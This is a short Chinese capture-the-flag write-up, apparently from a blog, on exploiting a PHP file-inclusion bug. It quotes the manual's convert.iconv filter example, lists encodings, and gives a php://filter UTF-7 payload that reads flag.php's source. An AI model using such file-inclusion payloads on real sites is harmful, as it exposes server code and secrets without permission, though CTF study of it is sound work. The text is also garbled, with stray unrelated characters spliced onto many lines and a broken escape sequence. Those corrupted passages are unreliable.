題目
圖片.png
過程
陰間做題
純腦洞題,就看誰能搜的到霍弹。
1.文件包含,php偽協(xié)議
2.需要讀php文件岛宦,以前覺得:后端語言沒法直接顯示到前端钝计,必須用base64轉(zhuǎn)碼
是我淺薄了
Example #3 convert.iconv.*
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: This is a test. */
?>
支持的字符編碼有一下幾種(詳細參考官方手冊)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
使用utf-7K教瘛A段狻!9璞摹!
payload:?filename=php://filter/convert.iconv.utf-8.utf-7/resource=./flag.php
詳情參考:
https://www.cnblogs.com/linuxsec/articles/12684259.html